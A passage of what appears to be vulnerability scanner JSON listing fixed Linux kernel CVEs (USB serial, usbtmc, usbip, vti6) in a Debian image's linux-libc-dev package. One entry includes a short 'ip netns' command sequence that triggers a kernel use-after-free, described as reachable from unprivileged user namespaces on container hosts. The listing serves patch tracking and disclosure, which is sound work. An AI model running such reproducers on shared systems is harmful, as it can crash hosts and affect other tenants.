"https://www.cve.org/CVERecord?id=CVE-2026-63901" ], "PublishedDate": "2026-07-19T16:17:07.743Z", "LastModifiedDate": "2026-10-30T14:38:04.08Z" }, { "VulnerabilityID": "CVE-2026-63902", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63902", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:600265eb3d15971b333b3deabf763651147eb75e673875932fcc0b02a8d7379e", "Title": "kernel: USB: serial: cypress_m8: validate interrupt packet headers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: cypress_m8: validate interrupt packet headers\n\ncypress_read_int_callback() parses the interrupt-in buffer according to\nthe selected Cypress packet format. Format 1 has a two-byte status/count\nheader and format 2 has a one-byte combined status/count header. The\nusb-serial core sizes the interrupt-in buffer from the endpoint\ndescriptor's wMaxPacketSize, and successful interrupt transfers can\ncomplete short when URB_SHORT_NOT_OK is not set.\n\nCheck that the completed packet contains the selected header before\nreading it. Malformed short reports are ignored and the interrupt URB is\nresubmitted through the existing retry path, preventing out-of-bounds\nheader-byte reads.\n\nKASAN report as below:\nKASAN slab-out-of-bounds in cypress_read_int_callback+0x240/0x7f0\nRead of size 1\nCall trace:\n cypress_read_int_callback() (drivers/usb/serial/cypress_m8.c:1009)\n __usb_hcd_giveback_urb()\n dummy_timer()\n\n[ johan: use constants in header length sanity checks ]", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63902", "https://git.kernel.org/linus/9f9bfc80c67f35a275820da7e83a35dface08281%20%287.1-rc6%29", "https://git.kernel.org/stable/c/44f9bab8df7750a1e2a4d6cc22d7c9c2dc096aed", "https://git.kernel.org/stable/c/4a4cb0021ebe1fcadb52e04d19ed8d71470a530b", "https://git.kernel.org/stable/c/90664556916de22467097d4c8ceb716d597a5c32", "https://git.kernel.org/stable/c/9f9bfc80c67f35a275820da7e83a35dface08281", "https://git.kernel.org/stable/c/aaa66708bfb1dca2acd219d1c1582f9f6d5492cb", "https://git.kernel.org/stable/c/ae03453f2c809ca3cf73753269fa6184dea7160f", "https://git.kernel.org/stable/c/be50533fe7068e86eb7adb81988e6d6a3f6dfe53", "https://git.kernel.org/stable/c/fcef31a5a85ccf3c313449a866ec6ed7e4132425", "https://kernelcve.org/list/?q=CVE-2026-63902", "https://linux.oracle.com/cve/CVE-2026-63902.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63902-68cb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63902", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63902" ], "PublishedDate": "2026-07-19T16:17:07.867Z", "LastModifiedDate": "2026-10-30T14:37:55.883Z" }, { "VulnerabilityID": "CVE-2026-63903", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63903", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:30903e62465611f1adef46316d3b4402a9fba6f7492969778847d8adb5506296", "Title": "kernel: USB: serial: belkin_sa: validate interrupt status length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: belkin_sa: validate interrupt status length\n\nThe Belkin interrupt callback treats interrupt data as a four-byte\nstatus report and reads LSR/MSR fields at offsets 2 and 3. The\ninterrupt-in buffer length is derived from endpoint wMaxPacketSize, and\nshort interrupt transfers may complete successfully with a smaller\nactual_length.\n\nCheck the completed interrupt packet length before parsing status\nfields so short interrupt endpoints and short successful packets are\nignored instead of causing out-of-bounds or stale status-byte reads.\n\nKASAN report as below:\n\nBUG: KASAN: slab-out-of-bounds in belkin_sa_read_int_callback()\nRead of size 1\nCall trace:\n belkin_sa_read_int_callback() (drivers/usb/serial/belkin_sa.c:202)\n __usb_hcd_giveback_urb() (drivers/usb/core/hcd.c:1630)\n dummy_timer() (?:?)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63903", "https://git.kernel.org/linus/4ce058df2ee02cc2a0f0fd5cd64ce6f1482a0b65%20%287.1-rc6%29", "https://git.kernel.org/stable/c/22823a319fb2afdf02cacafbed8b613b757efbc8", "https://git.kernel.org/stable/c/37e54d1b986df35c936d81e5b59a7aa3ec6938f0", "https://git.kernel.org/stable/c/4ce058df2ee02cc2a0f0fd5cd64ce6f1482a0b65", "https://git.kernel.org/stable/c/6a4602221cba7a738442328d66a2f0b1c9bf6e17", "https://git.kernel.org/stable/c/db1e7eb6203d534dad64cac2c793b69e561e657b", "https://git.kernel.org/stable/c/f1617539ab90e67da788959bfd314076f093a11a", "https://git.kernel.org/stable/c/f361359a952da15e70e693c2d7dca5c5843eae3e", "https://git.kernel.org/stable/c/ffb739a49186ea784bbd9cb91b647f062395b419", "https://kernelcve.org/list/?q=CVE-2026-63903", "https://linux.oracle.com/cve/CVE-2026-63903.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63903-eeba@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63903", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63903" ], "PublishedDate": "2026-07-19T16:17:08Z", "LastModifiedDate": "2026-10-30T14:37:48.093Z" }, { "VulnerabilityID": "CVE-2026-63904", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63904", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:21276ed06f89fde95f7d573360b1a0de1abd5cca91e4f5912fadb9458f9b6c80", "Title": "kernel: usb: usbtmc: check URB actual_length for interrupt-IN notifications", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: usbtmc: check URB actual_length for interrupt-IN notifications\n\nUSBTMC devices can use an optional interrupt endpoint for notification\nmessages. These typically contain two-byte headers indicating the\npayload format, but the driver does not check if these headers are\npresent before accessing the data buffers. In cases where the URB\nactual_length is not enough to fit these headers, the driver will either\ncause an out-of-bounds read, or consume stale leftover data from a\nprevious notification.\n\nFix by checking if actual_data contains enough bytes for the headers,\notherwise resubmit URB to the interrupt endpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63904", "https://git.kernel.org/linus/52f2ad3f7e5eb3b5908e1d685d4342519dc9cfcd%20%287.1-rc6%29", "https://git.kernel.org/stable/c/52f2ad3f7e5eb3b5908e1d685d4342519dc9cfcd", "https://git.kernel.org/stable/c/5de7df75ef3a2756b25fe3d582a4a2970444fe5a", "https://git.kernel.org/stable/c/69020fa089f1bf0e1a10a15265f31b143a846409", "https://git.kernel.org/stable/c/75f6d3da2cc646983f41807ef98851569c12bca9", "https://git.kernel.org/stable/c/ae87f505917e703ae3b487d9663d78826ff43608", "https://git.kernel.org/stable/c/e3eec3005de44e7f37d8d7724be636446516ab42", "https://git.kernel.org/stable/c/e794bd67b3faf98af46f958897f6b91412c7d2a9", "https://git.kernel.org/stable/c/f141b01eaa58ac7e323931d670318aa247bff087", "https://kernelcve.org/list/?q=CVE-2026-63904", "https://linux.oracle.com/cve/CVE-2026-63904.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63904-e989@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63904", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63904" ], "PublishedDate": "2026-07-19T16:17:08.13Z", "LastModifiedDate": "2026-10-30T14:37:41.347Z" }, { "VulnerabilityID": "CVE-2026-63905", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63905", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7556b67c8df38ff654bfad676d5b1be65ab293580bde13eb251f9dd012cb77ee", "Title": "kernel: usbip: vudc: Fix use after free bug in vudc_remove due to race condition", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbip: vudc: Fix use after free bug in vudc_remove due to race condition\n\nThis patch follows up Zheng Wang's 2023 report of a use-after-free in\nvudc_remove(). The original thread stalled on Shuah Khan's request for\nruntime testing of the unplug/unbind path. This patch supplies that\ntesting and keeps Zheng's original fix shape.\n\nIn vudc_probe(), v_init_timer() binds udc-\u003etr_timer.timer to v_timer().\nusbip_sockfd_store() starts the timer via v_start_timer()/v_kick_timer().\nvudc_remove() can then free the containing struct vudc while the timer is\nstill pending or executing.\n\nKASAN confirms the race on an unpatched x86_64 QEMU guest with\nCONFIG_KASAN=y, CONFIG_USBIP_VUDC=y, CONFIG_USB_ZERO=y, and a tight loop\nthat repeatedly writes a socket fd to usbip_sockfd, closes the socket\npair, and unbinds/rebinds usbip-vudc.0:\n\n BUG: KASAN: slab-use-after-free in __run_timer_base.part.0+0x8ba/0x8e0\n Write of size 8 at addr ffff888001b80740 by task trigger_and_unb/239\n Allocated by task 239:\n vudc_probe+0x4d/0xaa0\n Freed by task 239:\n kfree+0x18f/0x520\n device_release_driver_internal+0x388/0x540\n unbind_store+0xd9/0x100\n\nThis lands in the timer core rather than v_timer() itself because the\nembedded timer_list is being walked after its containing struct vudc has\nalready been freed. The underlying lifetime bug is the same one Zheng\nreported.\n\nWith v_stop_timer() called from vudc_remove() and the timer deleted\nsynchronously, the same harness completed 5000 bind/unbind iterations\nwith no KASAN report.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63905", "https://git.kernel.org/linus/d96209626a29ea64666be98c30b30ac82e5f1be6%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1036ac6148995feaf486014d32bf26bf993c06a9", "https://git.kernel.org/stable/c/207bf80362df3fce8ebc9723351dcb1bc6d9ed0f", "https://git.kernel.org/stable/c/61704e5cf9cd7464b510eb606e7e2978b1160a64", "https://git.kernel.org/stable/c/88d459e5b5a46da1ef9fd6f52d9439343edeec88", "https://git.kernel.org/stable/c/a0638db2340ee053ab0450656a763fd111475e54", "https://git.kernel.org/stable/c/d07ed707467ce05ea9c03412d0c5ee9d0fe386a6", "https://git.kernel.org/stable/c/d96209626a29ea64666be98c30b30ac82e5f1be6", "https://git.kernel.org/stable/c/dcc1c90b28b28b7c493547506297e78653f81952", "https://linux.oracle.com/cve/CVE-2026-63905.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026071944-CVE-2026-63905-909d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63905", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63905" ], "PublishedDate": "2026-07-19T16:17:08.26Z", "LastModifiedDate": "2026-10-30T14:37:32.33Z" }, { "VulnerabilityID": "CVE-2026-63917", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63917", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ab99da33242665cc01dbdae13f2e9012c9e174358673c3b9cd024d7bd212ca5", "Title": "kernel: ip6: vti: Use ip6_tnl.net in vti6_changelink()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6: vti: Use ip6_tnl.net in vti6_changelink().\n\nip netns add ns1\nip netns add ns2\nip -n ns1 link add vti6_test type vti6 remote ::1 local ::2 key 7\nip -n ns1 link set vti6_test netns ns2\nip -n ns2 link set vti6_test type vti6 remote ::3 local ::4 key 9\nip netns del ns2\nip netns del ns1\n[ 132.495484] ------------[ cut here ]------------\n[ 132.497609] kernel BUG at net/core/dev.c:12376!\n\nCommit 61220ab34948 (\"vti6: Enable namespace changing\") dropped\nNETIF_F_NETNS_LOCAL from vti6 devices. A vti6 tunnel can then\nmove through IFLA_NET_NS_FD. After the move dev_net(dev) points\nat the new netns while t-\u003enet stays at the creation netns.\n\nvti6_changelink() and vti6_update() still use dev_net(dev) and\ndev_net(t-\u003edev). They unlink from one per netns hash and relink\ninto another. The creation netns is left with a stale entry.\ncleanup_net() of that netns later walks freed memory.\n\nReachable from an unprivileged user namespace (unshare --user\n--map-root-user --net). Cross tenant scope on container hosts.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-63917", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/11b326fb0a374f4654f9be22d0f0f7abd9f7d3fe%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0cdce7618464f7fb06f461e8f4ad575cb1d570f4", "https://git.kernel.org/stable/c/11b326fb0a374f4654f9be22d0f0f7abd9f7d3fe", "https://git.kernel.org/stable/c/225b467e3b631f38be22e4b38062a1fed02fdd21", "https://git.kernel.org/stable/c/d9c5eecdb3c740e65038651db7c686b10d76d1bc", "https://git.kernel.org/stable/c/ee1778ba0f5cb53be771f97017d01eb356c797bf", "https://git.kernel.org/stable/c/f1e89a943ee574d0f2f16246eb3f2d7330fdeb03", "https://git.kernel.org/stable/c/f5c68875e25f331e497ddfbe81e2d8163a87f136", "https://git.kernel.org/stable/c/fc32be9ac2788524c6b24efd681cce7a6e731a92", "https://linux.oracle.com/cve/CVE-2026-63917.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026071947-CVE-2026-63917-4a8f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63917", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63917" ], "PublishedDate": "2026-07-19T16:17:09.783Z", "LastModifiedDate": "2026-10-30T17:44:18.477Z" }, { "VulnerabilityID": "CVE-2026-63921", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63921", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:42c898d62cc2b0587bd51de38d572c66d1088ae0f40bcf09ff527ac99048d20a", "Title": "kernel: ip6: vti: Use ip6_tnl.net in vti6_siocdevprivate()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6: vti: Use ip6_tnl.net in vti6_siocdevprivate().\n\nAfter patch 1/2 in this series, vti6_update() unlinks and relinks\nthe tunnel through t-\u003enet. vti6_siocdevprivate() still uses\ndev_net(dev) for the collision lookup. For a tunnel moved through\nIFLA_NET_NS_FD, dev_net(dev) is the new netns, not 